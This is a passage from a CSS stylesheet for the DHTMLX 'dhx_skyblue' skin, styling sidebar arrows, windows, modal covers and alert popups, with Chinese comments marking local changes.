progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow.dhxsidebar_arrow_left {\n  left: 0px;\n  border-right: 1px solid #c3c3c3;\n  z-index: 2;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow.dhxsidebar_arrow_left div.dhxsidebar_arrow_image {\n  background-image: url(\"imgs/dhxsidebar_skyblue/dhxsidebar_arrow_up.gif\");\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow.dhxsidebar_arrow_right {\n  right: 0px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow.dhxsidebar_arrow_right div.dhxsidebar_arrow_image {\n  background-image: url(\"imgs/dhxsidebar_skyblue/dhxsidebar_arrow_down.gif\");\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow div.dhxsidebar_arrow_image {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-repeat: no-repeat;\n  background-position: center center;\n  font-size: 1px;\n  overflow: hidden;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow:active {\n  background-color: #e6e6e6;\n  background: linear-gradient(#e6e6e6, #e5e5e5);\n  background: -webkit-linear-gradient(#e6e6e6, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e6e6e6, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  box-shadow: 0 0 5px rgba(127, 127, 127, 0.15) inset;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_progress {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: white;\n  z-index: 3;\n  opacity: 0.55;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=55);\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_progress_img {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-image: url(\"imgs/dhxsidebar_skyblue/dhxsidebar_cell_progress.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  z-index: 4;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_hdr {\n  position: relative;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_ftr {\n  position: absolute;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_menu {\n  position: relative;\n  overflow: hidden;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_toolbar {\n  position: relative;\n  background-color: #ebebeb;\n  padding-bottom: 4px;\n  overflow: hidden;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_ribbon {\n  padding-bottom: 4px;\n  position: relative;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_ribbon div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  width: auto;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_statusbar {\n  position: absolute;\n  bottom: 0px;\n  width: 100%;\n  background-color: #ebebeb;\n  overflow: hidden;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxcelltop_statusbar div.dhxcont_statusbar {\n  position: relative;\n  margin-top: 4px;\n  border: 1px solid #c3c3c3;\n  background-color: #eaeaea;\n  padding: 7px 6px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhxsidebar_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\n.dhxwins_vp_dhx_skyblue {\n  overflow: hidden;\n  position: relative;\n  cursor: default;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active {\n  position: absolute;\n  overflow: hidden;\n  border: 1px solid #c3c3c3;\n  /*修改::windows shadow*/\n  /*box-shadow: 0 0 3px #cecece;*/\n  box-shadow: 0px 10px 100px -16px #000;\n  border-radius: 3px;\n  background: white;\n  cursor: inherit;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive {\n  position: absolute;\n  overflow: hidden;\n  border: 1px solid #e0d6cd;\n  box-shadow: 0 0 3px #dedede;\n  border-radius: 3px;\n  background: white;\n  cursor: inherit;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_brd {\n  position: absolute;\n  border-left: 5px solid #E4E4E4;\n  border-right: 5px solid #E4E4E4;\n  border-bottom: 5px solid #E4E4E4;\n  border-bottom-left-radius: 2px;\n  border-bottom-right-radius: 2px;\n  background: white;\n  z-index: 0;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_brd.dhxwin_hdr_hidden {\n  border-top: 5px solid #dbe4ee;\n  border-top-left-radius: 2px;\n  border-top-right-radius: 2px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_brd {\n  opacity: 0.8;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=80);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_fr_cover {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  overflow: hidden;\n  background-color: white;\n  z-index: 1;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_fr_cover .dhxwin_fr_cover_inner {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: white;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhxwin_fr_cover {\n  display: none;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_fr_cover {\n  z-index: 4;\n  opacity: 0.5;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhxwin_fr_cover.dhxwin_fr_cover_dnd,\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhxwin_fr_cover.dhxwin_fr_cover_resize {\n  display: block;\n}\n.dhxwins_vp_dhx_skyblue iframe.dhxwin_main_fr_cover {\n  position: absolute;\n  background-color: white;\n  border-radius: 2px;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr {\n  position: relative;\n  height: 30px;\n  line-height: 30px;\n  margin: 0px;\n  padding: 0px;\n  font-weight: bold;\n  border-top: 1px solid white;\n  border-left: 1px solid white;\n  border-right: 1px solid white;\n  border-top-left-radius: 2px;\n  border-top-right-radius: 2px;\n\n  background-color: #EBEBEB;\n  background: linear-gradient(#EBEBEB, #E5E5E5);\n  background: -webkit-linear-gradient(#EBEBEB, #E5E5E5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#EBEBEB, endColorStr=#E5E5E5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n\n\n/*\n  background-color: #edeeed;\n  background: linear-gradient(#edeeed, #dbe4ee);\n  background: -webkit-linear-gradient(#edeeed, #dbe4ee);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#edeeed, endColorStr=#dbe4ee) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n\n*/\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #333333;\n  cursor: inherit;\n  overflow: hidden;\n  z-index: 3;\n  -ms-touch-action: none;\n  touch-action: none;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_hdr {\n  color: #777;\n  opacity: 0.8;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=80);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#edeeed, endColorStr=#dbe4ee);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr.dhxwin_hdr_parked {\n  border-bottom: 1px solid white;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr.dhxwin_hdr_hidden {\n  visibility: hidden;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_icon {\n  position: absolute;\n  left: 7px;\n  top: 7px;\n  width: 18px;\n  height: 18px;\n  cursor: default;\n  overflow: hidden;\n  background-image: url(\"imgs/dhxwins_skyblue/dhxwins_icon.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  cursor: inherit;\n  z-index: 2;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_hdr div.dhxwin_icon {\n  opacity: 0.6;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=60);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_text {\n  position: relative;\n  padding: 0px;\n  margin: 0px;\n  overflow: hidden;\n  white-space: nowrap;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  cursor: inherit;\n  z-index: 1;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_text div.dhxwin_text_inside {\n  overflow: hidden;\n  white-space: nowrap;\n  text-overflow: ellipsis;\n  width: 100%;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns {\n  position: absolute;\n  right: 7px;\n  top: 6px;\n  height: 18px;\n  cursor: default;\n  overflow: hidden;\n  cursor: inherit;\n  z-index: 2;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhxwin_hdr div.dhxwin_btns {\n  opacity: 0.5;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button,\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis {\n  position: relative;\n  float: left;\n  width: 15px;\n  height: 15px;\n  margin-left: 1px;\n  margin-top: 2px;\n  border-radius: 2px;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  background-image: url(\"imgs/dhxwins_skyblue/dhxwins_buttons.gif\");\n  background-repeat: no-repeat;\n  background-position: 0px 0px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button:hover {\n  background-color: white;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_close {\n  background-position: -15px 0px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_close_dis {\n  background-position: -15px -15px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_minmax {\n  background-position: -30px 0px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_minmax_dis {\n  background-position: -30px -15px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_minmaxed {\n  background-position: -45px 0px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_minmaxed_dis {\n  background-position: -45px -15px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_park {\n  background-position: -60px 0px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_park_dis {\n  background-position: -60px -15px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_stick {\n  background-position: -75px 0px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_stick_dis {\n  background-position: -75px -15px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_sticked {\n  background-position: -90px 0px;\n  background-color: #c3c3c3 !important;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_sticked_dis {\n  background-position: -90px -15px;\n  background-color: #f0f0f0!important;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_help {\n  background-position: -105px 0px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_help_dis {\n  background-position: -105px -15px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button.dhxwin_button_dock {\n  background-position: -120px 0px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.dhxwin_btns div.dhxwin_button_dis.dhxwin_button_dock_dis {\n  background-position: -120px -15px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active.dhxwin_dnd_touch,\n.dhxwins_vp_dhx_skyblue div.dhxwin_active.dhxwin_dnd {\n  box-shadow: 0 5px 50px -20px rgba(0, 0, 0, 0.8);\n  /* important different color for FF, translate+autohide bug detected */\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active.dhxwin_dnd_touch {\n  border-color: #6c94b4;\n  box-shadow: 0 0 14px #a4b9cb;\n  -webkit-touch-callout: none;\n  -webkit-user-select: none;\n}\n.dhxwins_vp_dhx_skyblue.dhxwins_vp_dnd {\n  cursor: move!important;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_resize {\n  position: absolute;\n  background-color: #dbe4ee;\n  border-radius: 3px;\n  opacity: 0.5;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50);\n}\n.dhxwins_vp_dhx_skyblue iframe.dhxwin_resize_fr_cover {\n  position: absolute;\n  background-color: white;\n  border-radius: 3px;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwins_mcover {\n  position: absolute;\n  /*修改::windows modal背景颜色*/\n  /*background-color: #edeeed;*/\n  background-color: rgba(0, 0, 0, 0.6);\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  /*opacity: 0.53;*/\n  /*filter: progid:DXImageTransform.Microsoft.Alpha(opacity=53);*/\n}\n.dhxwins_vp_dhx_skyblue iframe.dhxwins_mcover {\n  position: absolute;\n  background-color: white;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins {\n  position: absolute;\n  background-color: #ffffff;\n  margin: 0px;\n  padding: 0px;\n  overflow: hidden;\n  cursor: default;\n  visibility: visible;\n  z-index: 1;\n  opacity: 1;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins.dhxwin_parked,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins.dhxwin_parked {\n  visibility: hidden;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_cover,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_cover {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  margin: 0px;\n  padding: 0px;\n  font-size: 1px;\n  background-color: #ffffff;\n  overflow: hidden;\n  z-index: 1;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_cont_wins,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_cont_wins {\n  position: absolute;\n  /*border: 1px solid #d3e6fe;*/\n  /*padding: 1px;*/\n  border: 1px solid #ffffff;\n  background-color: #ffffff;\n  overflow: hidden;\n  z-index: 0;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_cont_wins.dhx_cell_cont_no_borders,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_cont_wins.dhx_cell_cont_no_borders {\n  border: 0px solid #ffffff !important;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_menu_def,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_menu_def {\n  position: relative;\n  overflow: hidden;\n  border-bottom: 1px solid #dbe4ee;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle {\n  padding: 0px 2px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_toolbar_def,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_toolbar_def {\n  position: relative;\n  overflow: hidden;\n  padding: 1px 1px 0px 1px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue {\n  position: relative;\n  border-top-width: 1px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_toolbar_no_borders div.dhx_toolbar_dhx_skyblue,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_toolbar_no_borders div.dhx_toolbar_dhx_skyblue {\n  position: relative;\n  border-top-width: 1px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_ribbon_def,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_ribbon_def {\n  padding: 1px 1px 0px 1px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  width: auto;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_statusbar_def,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_statusbar_def {\n  position: absolute;\n  bottom: 0px;\n  width: 100%;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  background-color: #dbe4ee;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text {\n  position: relative;\n  padding: 0px 4px;\n  height: 21px;\n  line-height: 21px;\n  white-space: nowrap;\n  overflow: hidden;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_cont_wins.dhx_cell_statusbar_attached,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_cont_wins.dhx_cell_statusbar_attached {\n  border-radius: 0px;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_progress_bar,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_progress_bar {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: #ffffff;\n  opacity: 0.75;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=75);\n  z-index: 1;\n}\n.dhxwins_vp_dhx_skyblue div.dhxwin_active div.dhx_cell_wins div.dhx_cell_progress_img,\n.dhxwins_vp_dhx_skyblue div.dhxwin_inactive div.dhx_cell_wins div.dhx_cell_progress_img {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-image: url(\"imgs/dhxwins_skyblue/dhxwins_progress.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  z-index: 2;\n}\n.dhxwins_vp_auto {\n  overflow: auto!important;\n}\n.dhxwins_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\ndiv.dhxwins_vp_dhx_skyblue.dhxwins_vp_fs {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  overflow: hidden;\n}\n.dhtmlx_message_area {\n  position: fixed;\n  right: 5px;\n  width: 250px;\n  z-index: 1000;\n  padding: 0px 0px;\n}\n.dhtmlx-info {\n  color: #444;\n  border-radius: 4px;\n  min-width: 120px;\n  padding: 10px 10px 10px 20px;\n  background-color: #FFFFCC;\n  font-size: 12px;\n  font-family: Tahoma;\n  z-index: 10000;\n  margin: 0px 5px 5px 5px;\n  border: 1px solid #d3d3d3;\n  box-shadow: 0px 0px 5px #ccc;\n  -webkit-transition: all .5s ease;\n  -moz-transition: all .5s ease;\n  -o-transition: all .5s ease;\n  transition: all .5s ease;\n}\n.dhtmlx-info.hidden {\n  height: 0px;\n  padding-bottom: 0px;\n  padding-top: 0px;\n  border-width: 0px;\n  margin-top: 0px;\n  margin-bottom: 0px;\n  overflow: hidden;\n}\n.dhtmlx-error {\n  background-color: #f17373;\n  color: #fff;\n}\n/*修改：提示框*/\n.dhtmlx_modal_box {\n  overflow: hidden;\n  display: inline-block;\n  min-width: 300px;\n  width: 300px;\n  text-align: center;\n  position: fixed;\n  background-color: #fff;\n  z-index: 20000;\n  -moz-box-shadow: 0px 0px 45px #737373;\n  -webkit-box-shadow: 0px 0px 45px #737373;\n/*  box-shadow: 0px 0px 5px #AAAAAA;\n  border: 1px solid #a4bed4;\n  border-radius: 6px;*/\n  box-shadow: 0px 0px 45px #737373;\n  border: 1px solid #9C9C9C;\n  border-radius: 6px;\n}\n.dhtmlx_popup_title {\n  padding: 5px 0;\n  font-size: 12px;\n  -webkit-border-top-right-radius: 6px;\n  -webkit-border-top-left-radius: 6px;\n  border-radius-top-right: 6px;\n  line-height: 16px;\n  font-family: Tahoma;\n  font-weight: bold;\n}\n.dhtmlx-info,\n.dhtmlx_popup_title,\n.dhtmlx_popup_button {\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  -moz-user-select: -moz-none;\n  cursor: pointer;\n}\n.dhtmlx_popup_text {\n  font-size: 13px;\n  font-family: Tahoma;\n  color: #444;\n  min-height: 30px;\n  padding: 20px 10px 10px 10px !important;\n  overflow: hidden;\n}\n.dhtmlx_popup_controls {\n  font-family: Tahoma;\n  font-weight: bold;\n  padding: 10px 10px 17px 10px !important;\n}\n.dhtmlx_popup_button {\n  font-size: 12px;\n  font-family: Tahoma;\n  font-weight: bold;\n  min-width: 50px !important;\n  width: 69px;\n  height: 20px;\n  display: inline-block;\n  margin: 0 5px;\n  border-radius: 4px;\n}\n.dhtmlx_popup_button div {\n  line-height: 20px;\n}\ndiv.dhx_modal_cover {\n  background-color: #000;\n  cursor: default;\n  opacity: 0.2;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=20);\n  position: fixed;\n  z-index: 19999;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  border: none;\n  zoom: 1;\n}\n\n/*修改::提示框按钮颜色*/\n.dhtmlx_popup_button {\n  /*color: #2e3947;*/\n  color: #607D8B;\n  text-shadow: 0 1px 0 #ffffff;\n  /*border: 1px solid #a4bed4;*/\n  border: 1px solid #9C9C9C;\n  /*background-color: #d5e6fc;*/\n  background-color: #efefef;\n\n/*  background-image: -moz-linear-gradient(center bottom, #e1eeff 0%, #cce2fe 12%, #ecf2f7 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #ecf2f7), color-stop(0.88, #cce2fe), color-stop(1, #e1eeff));*/\n  background-image: -moz-linear-gradient(center bottom, #ececec 0%, #e6e6e6 12%, #efefef 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #efefef), color-stop(0.88, #e6e6e6), color-stop(1, #ececec));\n\n  background: -o-linear-gradient(top, #ececec, #e6e6e6 12%, #efefef);\n  background: linear-gradient(top, #ececec, #e6e6e6 12%, #efefef);\n  background: -ms-linear-gradient(top, #ececec 0%, #e6e6e6 12%, #efefef 100%);\n/*  background: -o-linear-gradient(top, #e1eeff, #cce2fe 12%, #ecf2f7);\n  background: linear-gradient(top, #e1eeff, #cce2fe 12%, #ecf2f7);\n  background: -ms-linear-gradient(top, #e1eeff 0%, #cce2fe 12%, #ecf2f7 100%);*/\n}\n.dhtmlx_popup_button:active,\n.dhtmlx_popup_button:focus {\n  box-shadow: inset 0 0 2px #aaaaaa;\n  background: #bdd9fc;\n  /* Old browsers */\n  background: -moz-linear-gradient(top, #c4ddff 0%, #bdd9fc 88%, #deeaf4 100%);\n  /* FF3.6+ */\n  background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #c4ddff), color-stop(88%, #bdd9fc), color-stop(100%, #deeaf4));\n  /* Chrome,Safari4+ */\n  background: -o-linear-gradient(top, #c4ddff 0%, #bdd9fc 88%, #deeaf4 100%);\n  /* Opera11.10+ */\n  background: -ms-linear-gradient(top, #c4ddff 0%, #bdd9fc 88%, #deeaf4 100%);\n  /* IE10+ */\n  background: linear-gradient(top, #c4ddff 0%, #bdd9fc 88%, #deeaf4 100%);\n  /* W3C */\n}\n.dhtmlx_popup_title {\n  box-shadow: inset 0 0 2px #ffffff;\n  display: block;\n}\n.dhtmlx-alert-error .dhtmlx_popup_title,\n.dhtmlx-confirm-error .dhtmlx_popup_title {\n  color: white;\n  border: 1px solid #f17373;\n  background: #f17373;\n  background: -webkit-linear-gradient(top, #ff7c7c, #f17373 88%, #ff7361);\n  background: -moz-linear-gradient(top, #ff7c7c, #f17373 88%, #ff7361);\n  background: -o-linear-gradient(top, #ff7c7c, #f17373 88%, #ff7361);\n  background: linear-gradient(top, #ff7c7c, #f17373 88%, #ff7361);\n  background: -ms-linear-gradient(top, #ff7c7c 0%, #f17373 88%, #ffbc75 100%);\n}\n.dhtmlx-alert-error.dhtmlx_modal_box,\n.dhtmlx-confirm-error.dhtmlx_modal_box {\n  border: 1px solid #f17373;\n}\n.dhtmlx-alert-warning .dhtmlx_popup_title,\n.dhtmlx-confirm-warning .dhtmlx_popup_title {\n  color: #000;\n  border: 1px solid #d2b07f;\n  background: #ff9f37;\n  background: -webkit-linear-gradient(top, #ffc786, #ff9523 88%, #ffbc75);\n  background: -moz-linear-gradient(top, #ffc786, #ff9523 88%, #ffbc75);\n  background: -o-linear-gradient(top, #ffc786, #ff9523 88%, #ffbc75);\n  background: linear-gradient(top, #ffc786, #ff9523 88%, #ffbc75);\n  background: -ms-linear-gradient(top, #ffc786 0%, #ff9523 88%, #ffbc75 100%);\n}\n.dhtmlx-alert-warning .dhtmlx_popup_controls,\n.dhtmlx-confirm-warning .dhtmlx_popup_controls {\n  border: 1px solid #d5d5d5;\n  border-width: 0 1px 1px 1px;\n}\n.dhtmlx-alert-warning .dhtmlx_popup_text,\n.dhtmlx-confirm-warning .dhtmlx_popup_text {\n  border: 1px solid #d5d5d5;\n  border-width: 0 1px 0 1px;\n}\n\n/*修改：提示框顶部*/\n.dhtmlx-alert .dhtmlx_popup_title,\n.dhtmlx-confirm .dhtmlx_popup_title {\n/*  color: #000;\n  border: 1px solid #a4bed4;\n  background: #d5e6fc;*/\n  color: #000;\n  border: none;\n  border-bottom: 1px solid #b2b2b2;\n\n/*  background: -moz-linear-gradient(center bottom, #e1eeff 0%, #cce2fe 12%, #ecf2f7 100%);\n  background: -webkit-gradient(linear, left top, left 